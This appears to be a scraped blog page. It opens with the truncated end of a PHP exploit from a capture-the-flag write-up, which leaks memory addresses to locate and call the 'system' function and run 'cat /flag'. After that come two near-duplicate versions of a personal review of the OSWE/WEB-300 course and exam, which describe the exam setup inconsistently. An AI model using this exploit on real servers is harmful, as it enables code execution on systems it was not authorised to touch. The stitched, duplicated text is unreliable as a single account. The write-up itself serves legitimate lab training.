}
$arr = [[1,3,3,7], [5,5,5,5]];
set_error_handler(function() use (&$arr, &$buf, &$var_addr, &$payload) {
$arr = 1;
$buf = str_repeat("AAABAACAADAAEAAF" . $this->ptr2str($var_addr) . "IAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY", 0x1);
});
$arr[1] .= 1337;
}
private function alloc($size, $canary) {
return str_shuffle(str_repeat($canary, $size));
}
private function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function write(&$str, $p, $v, $n = 8) {
$i = 0;
for ($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function leak($addr, $p = 0, $s = 8) {
$this->write($this->placeholder, 0x10, $addr);
$leak = strlen($this->helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
private function get_basic_funcs($base) {
for ($i = 0; $i < 0x6900/8; $i++) {
$leak = $this->leak($base - $i * 8);
if (($base - $leak) > 0 && ($leak & 0xfffffffff0000000 ) == ($base & 0xfffffffff0000000 )) {
$deref = $this->leak($leak);
if ($deref != 0x73006e6962327865){ // 0x6e69623278656800){ // 'nib2xeh\x00' ---> bin2hex
continue;
}
} else continue;
return $base - ($i-2) * 8;
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
$i = 0;
do {
$f_entry = $this->leak($addr-0x10);
$f_name = $this->leak($f_entry,8);
if ($f_name == 0x736500646d636c6c) { //'se\x00dmcll'
return $this->leak($addr + 8+0x10);
}
$addr += 0x20;
$i += 1;
} while ($f_entry != 0);
return false;
}
}
new exploit("cat /flag");
?>
Upload and execute it:
We hope you enjoyed this challenge!
Feel free to give us feedback at our twitter @AdeptsOf0xCC.
This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course provided by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.
This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.
I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.
I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.
You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:
It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.
The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through 2 target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.
But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.
The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.
After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:
The exam machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.
The goal of the exam is to pwn two independent machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You also have to submit two flags for the authentication bypass (35 points) and for the RCE (15 points). You need to have at least 85 out of 100 points to pass the exam point-wise.
Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities to get the RCE. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.
I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.
After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.
After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2 (so the RCE part), but I still had to find the authentication bypass. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!
I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.
On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!
I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.
A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam
The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.
So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view of the allegedly minor but impactful coding errors, which can result from just a single missing equal sign.
But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.
This is a review of the Advanced Web Attacks and Exploitation (WEB-300) course and its OSWE exam by Offensive-Security. I’ve taken this course because I was curious about what secret tricks this course will offer for its money, especially considering that I’ve done a lot of source code reviews in different languages already.
This course is designed to develop, or expand, your exploitation skills in web application penetration testing and exploitation research. This is not an entry level course–it is expected that you are familiar with basic web technologies and scripting languages. We will dive into, read, understand, and write code in several languages, including but not limited to JavaScript, PHP, Java, and C#.
I got this course as part of my Offensive-Security Learn Unlimited subscription, which includes all of their courses (except for the EXP-401) and unlimited exam attempts. Luckily, I only needed one attempt to pass the exam and get my OSWE certification.
I’d say it’s a typical Offensive-Security course. It comes with hundreds of written pages and hours of video content explaining every vulnerability class in such incredible detail, which is fantastic if you’re new to certain things. But the courseware still assumes a technically competent reader proficient with programming concepts such as object orientation, so I don’t recommend taking this course without prior programming knowledge.
You will also get access to their labs to follow the course materials. These labs consist of Linux and Windows machines that you will pwn along the course, and they are fun! You will touch on all the big vulnerability classes and some lesser-known ones that you usually don’t encounter in your day-to-day BugBounty business. Some of these are:
It took me roughly a week to get through all videos and labs, mostly because I was already familiar with most of the vulnerability classes and content. My most challenging ones were the type juggling (this is some awesome stuff!) and prototype pollution. I also decided not to go the extra miles; however, I’d still recommend this to everyone who is relatively new to source code review and exploitation and wants to practice their skills.
The exam is heavily time-constrained. You have 47 hours and 45 minutes to work through your target machines, where you have full access to the application’s source code. But be prepared that the source code to review might be a lot - good time management is crucial here. After the pure hacking time, you will have another 24 hours to submit your exam documentation.
But before actually being able to read a lot of source code, you have to go through the proctoring setup with the proctors themselves. You have to be 15 minutes early to the party to show your government ID, walk them through your room and make sure that they can correctly monitor (all of) your screens. You are also not allowed to have any additional computers or mobile phones in the same room.
The proctoring itself wasn’t a real problem. The proctors have always been friendly and responsive. Note that if you intend to leave the room (even to visit your toilet), you have to let them know when you leave and when you return to your desk. But you do not have to wait for their confirmation - so no toilet incidents are expected ;-) If you intend to stay away for a more extended period (sleep ftw.), they will pause the VPN connection.
After finishing the proctoring setup at around 12:00, the real fun started. Offensive-Security recommends using their provided Kali VMs, but I decided to go with my native macOS instead. Be aware that if you’d choose to go this way, Offensive-Security does not provide you with any technical support (other than VPN issues). I’ve used the following software for the exam:
The exam machines come in a group of two, which means you’ll get one development machine to which you’ll have full access and one “production” machine which you don’t have complete access. You’ll have to do all your research and write your exploit chain on the development machine and afterward perform your exploit against the production machine, which holds the required flags.
The development machines have a basic setup of everything you need to start your journey. You don’t need any additional tools (auto-exploitation tools such as sqlmap are forbidden anyways). Another thing: you are not allowed to remotely mount or copy any of the application’s source code to your local machine to use other tools such as the JetBrains suite to start debugging. You have to do this with the tools provided - so make sure that you’ve read the course materials carefully for your debugging setup and you’re familiar with the used IDEs.
The goal of the exam is to pwn these independent production machines using a single script - choose whatever scripting language you’re comfortable with. This means your script should be able to do all the exploitation steps in just one run, from zero to hero. If your script fails to auto-exploit the machine, it counts as a fail (you might still get some partial points, but it might not be enough in the end). You need to have at least 85 out of 100 points to pass the exam point-wise.
Once I was familiar with the remote environment, I started to look at target machine #1. It took me roughly 4 hours to identify all the necessary vulnerabilities. Next up: Automation. I started to write my Python script to auto-exploit both issues, but it took much longer than expected. Why? I struggled with the reliability of my script, which for some reason, only worked on every second run. After 2.5 hours of optimizations, I finally got my script working with a 10/10 success rate.
I’ve submitted all the flags, ultimately getting me the first 50 points. At that point, I also started to collect screenshots for the documentation part of the exam.
After I got everything, I went to sleep for about 10 hours (that’s important for me to keep a clear mind), and already having half of the required points got me a calm night.
After I had breakfast on the second day, I started to look at machine #2, which was a bit harder than the first one. It took me roughly half an hour to spot vulnerability #2, but I still had to find the vulnerability #1. Unfortunately, that also took longer than expected because I’ve followed a rabbit hole for about two hours until I’ve noticed that it wasn’t exploitable. But still, after around 6 hours of hacking, I was able to identify the entire bug chain and exploit it. I’ve submitted both flags, getting me an overall 100 out of 100 points - this was my happy moment!
I wrote the Python exploit for auto-exploitation relatively quickly this time since it was structurally entirely different from machine #1. I also started to collect all the screenshots for my documentation. I went to sleep for another 10 hours.
On the last day, my exam was about to end at 11:45, and I started early at 08:00 to be able to double-check my scripts, my screenshots, etc. I improved my Python scripts and added some leet hacker output to them without breaking them (yay!). I finished that part at around 10:00 and had almost 2 hours left in the exam lab. So I started to do my documentation right away and noticed (somewhat last minute) that I was missing two screenshots, and trust me, they are so important!
I informed the proctor to end my exam, and I then had another 24 hours to submit my documentation. The entire documentation took me roughly 8 hours to complete - I’m a perfectionist, and this part always takes me the most time to finish. I sent in the documentation on the same day and completed my exam.
A couple of days later, I received the awaited happy mail from Offensive-Security saying that I’ve passed the exam
The course itself is excellent in its content, presentation, and lab-quality. I haven’t seen any comparable course out there, and while many people are claiming that you can get all of it cheaper using Udemy courses, they are only partially correct. Yes, you’ll find a lot of courses about discovering and exploiting vulnerabilities in black box scenarios, but the AWAE targets a different audience. It is mostly about teaching you the source code’ish way of finding vulnerabilities. Where else do you have the chance to learn how to discover and exploit a Type Juggling Issue? It is barely possible without access to the source code. Active exploitation is a minor part of this course and is done manually without automation tools.
So if you do have programming skills already and are interested in strengthening your vulnerability discovery skills on source code review engagements, then this course might be the one for you. I have 5+ years of experience in auditing, primarily PHP and Java applications, and found this course to be challenging in many (but not all) chapters. However, this course still helped me sharpen my view on how small coding errors can result in impactful bugs by just leaving out a single equal sign.
But suppose you’ve never touched the initially mentioned bug classes, and you have also never touched on different programming languages and concepts such as object orientation. In that case, you should spend some time on practical programming first before buying this course.